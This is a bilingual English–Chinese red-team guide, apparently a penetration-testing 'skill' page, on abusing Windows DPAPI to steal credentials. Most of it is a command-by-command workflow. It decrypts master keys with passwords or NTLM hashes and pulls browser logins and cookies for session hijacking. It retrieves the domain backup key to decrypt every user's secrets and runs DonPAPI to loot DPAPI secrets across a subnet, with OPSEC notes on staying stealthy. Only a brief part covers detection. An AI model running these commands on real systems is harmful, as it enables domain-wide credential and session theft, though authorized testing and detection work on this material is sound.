abusing-dpapi-for-credential-access

Compare original and translation side by side

🇺🇸

Original

English

🇨🇳

Translation

Chinese

Abusing DPAPI for Credential Access

滥用DPAPI获取凭证

Legal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.

法律声明： 本技能仅用于授权渗透测试、红队演练和教育目的。从您不拥有或未获得明确书面授权测试的系统中提取凭据属于违法行为，可能违反计算机欺诈和滥用相关法律。请始终在签署的规则范围内操作，并记录每一项行为。

Overview

概述

The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) master key from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under

%APPDATA%\Microsoft\Protect\<SID>\

(user) and

%WINDIR%\System32\Microsoft\Protect\

(machine).

Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK T1555.004 (Credentials from Password Stores: Windows Credential Manager). There are three primary decryption paths:

Online / context-based — running as the target user, DPAPI APIs (
```
CryptUnprotectData
```
) transparently decrypt the user's blobs. SharpDPAPI's
```
/unprotect
```
flag uses this.
Offline with the user password or NTLM hash — decrypt the user's master keys with
```
/password:
```
or
```
/ntlm:
```
, then decrypt the blobs offline (great for triaged files pulled from a host).
Domain-wide with the DPAPI backup key — Domain Admins can extract the domain's RSA DPAPI backup key (
```
.pvk
```
) once, then decrypt any domain user's master keys forever, online or offline, with
```
/pvk:
```
.

The canonical tooling is SharpDPAPI (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, SharpChrome for browser secrets, and Mimikatz (

dpapi::*

) as the original implementation. On Linux, Impacket's

dpapi.py

and

donpapi

perform remote/offline triage.

Windows数据保护API（DPAPI）是操作系统内置的对称加密服务，应用程序使用它来保护静态存储的机密信息：已保存的RDP和Windows凭据管理器凭据、凭据库中的网页与Wi-Fi凭据、浏览器已保存登录信息和Cookie（Chrome/Edge）、KeePass密钥、证书私钥以及计划任务密码。DPAPI从用户密码（或计算机账户机密）派生每个用户（或每台计算机）的主密钥，该主密钥用于加密各个“DPAPI blob”。加密后的主密钥存储在

%APPDATA%\Microsoft\Protect\<SID>\

（用户级）和

%WINDIR%\System32\Microsoft\Protect\

（计算机级）路径下。

红队人员会滥用DPAPI在获得立足点后恢复明文机密，对应MITRE ATT&CK T1555.004（从密码存储获取凭据：Windows凭据管理器）。主要有三种解密路径：

在线/基于上下文 — 以目标用户身份运行时，DPAPI API（
```
CryptUnprotectData
```
）会自动解密用户的blob。SharpDPAPI的
```
/unprotect
```
参数即使用此方式。
离线（使用用户密码或NTLM哈希） — 通过
```
/password:
```
或
```
/ntlm:
```
解密用户主密钥，然后离线解密blob（非常适合对从主机提取的文件进行排查）。
域范围（使用DPAPI备份密钥） — 域管理员可一次性提取域的RSA DPAPI备份密钥（
```
.pvk
```
），之后即可永久在线或离线解密任意域用户的主密钥，使用
```
/pvk:
```
参数即可。

标准工具包括适用于Windows的SharpDPAPI（GhostPack出品，Mimikatz DPAPI功能的C#移植版本）、用于浏览器机密的SharpChrome，以及作为原始实现的Mimikatz（

dpapi::*

命令）。在Linux上，Impacket的

dpapi.py

和

donpapi

可执行远程/离线排查。

When to Use

使用场景

After compromising a Windows host where the user has saved RDP, browser, or vault credentials worth harvesting for lateral movement.
When you hold a user's password or NTLM hash and want to decrypt their DPAPI-protected secrets offline.
When you have Domain Admin and want to obtain the domain DPAPI backup key to decrypt any user's protected data across the estate.
When triaging exfiltrated
```
Credentials
```
,
```
Vault
```
, or
```
Protect
```
directories from disk images.
During purple-team exercises to validate detection of DPAPI master-key access and LSASS/Protect-folder reads.

攻陷Windows主机后，用户已保存有可用于横向移动的RDP、浏览器或凭据库凭据时。
掌握用户密码或NTLM哈希，想要离线解密其受DPAPI保护的机密时。
拥有域管理员权限，想要获取域DPAPI备份密钥以解密整个环境中任意用户的受保护数据时。
对从磁盘镜像中导出的
```
Credentials
```
、
```
Vault
```
或
```
Protect
```
目录进行排查时。
在紫队演练中，验证对DPAPI主密钥访问以及LSASS/Protect文件夹读取行为的检测能力时。

Prerequisites

前置条件

An authorized foothold (interactive session, beacon, or remote admin) on the target Windows host.
Knowledge of the target user's SID, and one of: the user's session, password, NTLM hash, or Domain Admin rights for the backup key.
Tooling (compile from source or use release binaries; obtain only from official upstreams):

bash

undefined

已获得目标Windows主机的授权立足点（交互式会话、信标或远程管理员权限）。
了解目标用户的SID，且具备以下条件之一：用户会话、用户密码、NTLM哈希，或用于获取备份密钥的域管理员权限。
工具（从源代码编译或使用发布版二进制文件；仅从官方上游渠道获取）：

bash

undefined

SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild

SharpDPAPI / SharpChrome（GhostPack）—— 使用Visual Studio / msbuild编译

git clone https://github.com/GhostPack/SharpDPAPI.git

Open SharpDPAPI.sln and build Release, or:

打开SharpDPAPI.sln并编译Release版本，或执行：

msbuild SharpDPAPI.sln /p:Configuration=Release

Mimikatz (original DPAPI implementation)

Mimikatz（DPAPI原始实现）

https://github.com/gentilkiwi/mimikatz/releases

Linux remote/offline triage (Impacket)

Linux远程/离线排查工具（Impacket）

pipx install impacket # provides dpapi.py / impacket-dpapi pipx install donpapi # https://github.com/login-securite/DonPAPI

undefined

pipx install impacket # 提供dpapi.py / impacket-dpapi pipx install donpapi # https://github.com/login-securite/DonPAPI

undefined

Objectives

目标

Triage a host for DPAPI-protected credential, vault, RDP, and certificate blobs.
Decrypt user master keys online (
```
/unprotect
```
), with a password/hash, or with the domain backup key.
Recover plaintext Credential Manager and Vault secrets.
Extract browser saved logins and cookies with SharpChrome.
Obtain and reuse the domain DPAPI backup key for estate-wide decryption.

排查主机上受DPAPI保护的凭证、凭据库、RDP和证书blob。
通过在线方式（
```
/unprotect
```
）、密码/哈希或域备份密钥解密用户主密钥。
恢复明文的凭据管理器和凭据库机密。
使用SharpChrome提取浏览器已保存登录信息和Cookie。
获取并复用域DPAPI备份密钥以进行全环境解密。

MITRE ATT&CK Mapping

MITRE ATT&CK映射

Technique ID	Name	Tactic	Relevance
T1555.004	Credentials from Password Stores: Windows Credential Manager	Credential Access	DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials.
T1555.003	Credentials from Password Stores: Credentials from Web Browsers	Credential Access	SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys.
T1003	OS Credential Dumping	Credential Access	Extracting master keys / backup keys is a form of credential material dumping.

技术ID	名称	战术	相关性
T1555.004	从密码存储获取凭据：Windows凭据管理器	凭证获取	DPAPI保护凭据管理器/凭据库条目；解密主密钥和blob可恢复这些存储的凭据。
T1555.003	从密码存储获取凭据：从浏览器获取凭据	凭证获取	SharpChrome可解密受DPAPI保护的Chrome/Edge登录信息、Cookie和状态密钥。
T1003	操作系统凭证转储	凭证获取	提取主密钥/备份密钥属于凭证材料转储的一种形式。

Workflow

工作流程

1. Triage the host for DPAPI blobs

1. 排查主机上的DPAPI blob

Run the SharpDPAPI

triage

command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:

powershell

undefined

在用户上下文中运行SharpDPAPI的

triage

命令，自动枚举并（在可能的情况下）解密凭证、凭据库、RDG/RDP和证书：

powershell

undefined

Online triage in the current user's context (uses CryptUnprotectData)

在当前用户上下文中进行在线排查（使用CryptUnprotectData）

SharpDPAPI.exe triage /unprotect

Machine triage (requires local admin / SYSTEM) for machine-scoped blobs

计算机级排查（需要本地管理员/SYSTEM权限），针对计算机范围的blob

SharpDPAPI.exe machinetriage

undefined

SharpDPAPI.exe machinetriage

undefined

2. Decrypt user master keys offline (password or NTLM hash)

2. 离线解密用户主密钥（使用密码或NTLM哈希）

If you hold the user's password or hash, decrypt their master keys to a

{GUID}:SHA1

mapping you can reuse against individual blobs:

powershell

undefined

如果掌握用户密码或哈希，可将其主密钥解密为

{GUID}:SHA1

格式的映射，用于后续解密单个blob：

powershell

undefined

Decrypt all of the current/specified user's master keys with the password

使用密码解密当前/指定用户的所有主密钥

SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

Decrypt master keys with the user's NTLM hash instead of the password

使用用户的NTLM哈希而非密码解密主密钥

SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

Output is GUID:SHA1 lines — feed them to credentials/vaults commands

输出为GUID:SHA1格式的行 — 将其传入credentials/vaults命令

undefined

undefined

3. Recover Credential Manager and Vault secrets

3. 恢复凭据管理器和凭据库机密

Use the decrypted master-key mapping (or

/pvk:

) to decrypt the stored credentials and vault entries:

powershell

undefined

使用解密后的主密钥映射（或

/pvk:

参数）解密存储的凭证和凭据库条目：

powershell

undefined

Decrypt Credential Manager blobs with a GUID:SHA1 mapping

使用GUID:SHA1映射解密凭据管理器blob

SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

Or point at a target Credentials folder and decrypt with the domain backup key

或者指定目标Credentials文件夹，并使用域备份密钥解密

SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

Decrypt Credential Vault entries

解密凭据库条目

SharpDPAPI.exe vaults /pvk:backupkey.pvk

undefined

SharpDPAPI.exe vaults /pvk:backupkey.pvk

undefined

4. Decrypt RDP, KeePass, and certificate secrets

4. 解密RDP、KeePass和证书机密

powershell

undefined

powershell

undefined

Saved RDCMan.settings RDP passwords (current user context)

已保存的RDCMan.settings RDP密码（当前用户上下文）

SharpDPAPI.exe rdg /unprotect

KeePass DPAPI-protected master keys

受DPAPI保护的KeePass主密钥

SharpDPAPI.exe keepass /unprotect

Certificate private keys (export usable .pem with /showall for all stores)

证书私钥（使用/showall参数导出所有存储中的可用.pem文件）

SharpDPAPI.exe certificates /unprotect /showall

undefined

SharpDPAPI.exe certificates /unprotect /showall

undefined

5. Extract browser credentials with SharpChrome

5. 使用SharpChrome提取浏览器凭据

SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:

powershell

undefined

SharpChrome可解密Chrome/Edge的登录信息和Cookie。现代Chromium使用App-Bound“状态密钥”，SharpChrome可通过DPAPI解析该密钥：

powershell

undefined

Decrypt saved logins for the current user

解密当前用户的已保存登录信息

SharpChrome.exe logins /unprotect

Decrypt cookies (useful for session hijacking) in a target folder

解密目标文件夹中的Cookie（会话劫持场景下有用）

SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

Resolve the AES state key explicitly

显式解析AES状态密钥

SharpChrome.exe statekeys /unprotect

undefined

SharpChrome.exe statekeys /unprotect

undefined

6. Obtain the domain DPAPI backup key (Domain Admin)

6. 获取域DPAPI备份密钥（域管理员权限）

With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:

powershell

undefined

拥有域管理员权限后，可一次性获取域的RSA DPAPI备份私钥。该密钥可永久解密所有域用户的主密钥：

powershell

undefined

Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface

通过MS-BKRP RPC接口拉取并保存域备份密钥为.pvk文件

SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk


Then decrypt any user's master keys offline with it:

```powershell
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk


之后即可使用该密钥离线解密任意用户的主密钥：

```powershell
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Remote / Linux-based triage (Impacket / DonPAPI)

7. 远程/基于Linux的排查（Impacket / DonPAPI）

From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:

bash

undefined

从Linux操作主机跨主机收集并解密DPAPI机密：

bash

undefined

Decrypt a single masterkey file with Impacket using the domain backup key

使用Impacket和域备份密钥解密单个主密钥文件

impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

Decrypt a credential blob with the recovered masterkey

使用恢复的主密钥解密凭证blob

impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

Mass remote DPAPI looting across hosts with DonPAPI

使用DonPAPI跨主机批量远程获取DPAPI机密

donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

undefined

donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

undefined

Tools and Resources

工具与资源

Tool	Purpose	Link
SharpDPAPI	Windows DPAPI triage/decryption (C#)	https://github.com/GhostPack/SharpDPAPI
SharpChrome	Chromium logins/cookies/state-key decryption	https://github.com/GhostPack/SharpDPAPI
Mimikatz	Original DPAPI ( `dpapi::*` ) implementation	https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py	Remote/offline DPAPI decryption (Python)	https://github.com/fortra/impacket
DonPAPI	Mass remote DPAPI looting	https://github.com/login-securite/DonPAPI
HackTricks DPAPI	Technique reference	https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

工具	用途	链接
SharpDPAPI	Windows DPAPI排查/解密（C#）	https://github.com/GhostPack/SharpDPAPI
SharpChrome	Chromium登录信息/Cookie/状态密钥解密	https://github.com/GhostPack/SharpDPAPI
Mimikatz	原始DPAPI（ `dpapi::*` ）实现	https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py	远程/离线DPAPI解密（Python）	https://github.com/fortra/impacket
DonPAPI	批量远程获取DPAPI机密	https://github.com/login-securite/DonPAPI
HackTricks DPAPI	技术参考	https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Detection and OPSEC Notes

检测与OPSEC注意事项

Master-key access and reads of
```
\Microsoft\Protect\
```
and
```
\Microsoft\Credentials\
```
are detectable;
```
backupkey
```
triggers an MS-BKRP RPC call to the DC.
The
```
/unprotect
```
(online) path is the stealthiest single-host option but only works as the live user.
Defenders should monitor for Sysmon process access to LSASS and abnormal access to Protect/Credentials folders (DE.CM-01).

主密钥访问以及对
```
\Microsoft\Protect\
```
和
```
\Microsoft\Credentials\
```
的读取行为可被检测；
```
backupkey
```
操作会触发向域控制器的MS-BKRP RPC调用。
```
/unprotect
```
（在线）方式是单主机场景下最隐蔽的选项，但仅能在活跃用户会话中生效。
防御者应监控Sysmon进程对LSASS的访问，以及对Protect/Credentials文件夹的异常访问（DE.CM-01）。

Validation Criteria

验证标准

Host triaged with
```
SharpDPAPI triage
```
/
```
machinetriage
```
.
User master keys decrypted via
```
/unprotect
```
,
```
/password:
```
,
```
/ntlm:
```
, or
```
/pvk:
```
.
Credential Manager and Vault secrets recovered.
RDP / KeePass / certificate secrets extracted where present.
Browser logins/cookies decrypted with SharpChrome.
Domain DPAPI backup key retrieved with Domain Admin (if in scope) and reused offline.
All recovered secrets documented with source host/user and ROE adherence confirmed.

使用
```
SharpDPAPI triage
```
/
```
machinetriage
```
完成主机排查。
通过
```
/unprotect
```
、
```
/password:
```
、
```
/ntlm:
```
或
```
/pvk:
```
解密用户主密钥。
恢复凭据管理器和凭据库机密。
提取现有RDP / KeePass / 证书机密。
使用SharpChrome解密浏览器登录信息/Cookie。
（若在测试范围内）使用域管理员权限获取域DPAPI备份密钥并离线复用。
记录所有恢复的机密及其来源主机/用户，并确认符合规则要求。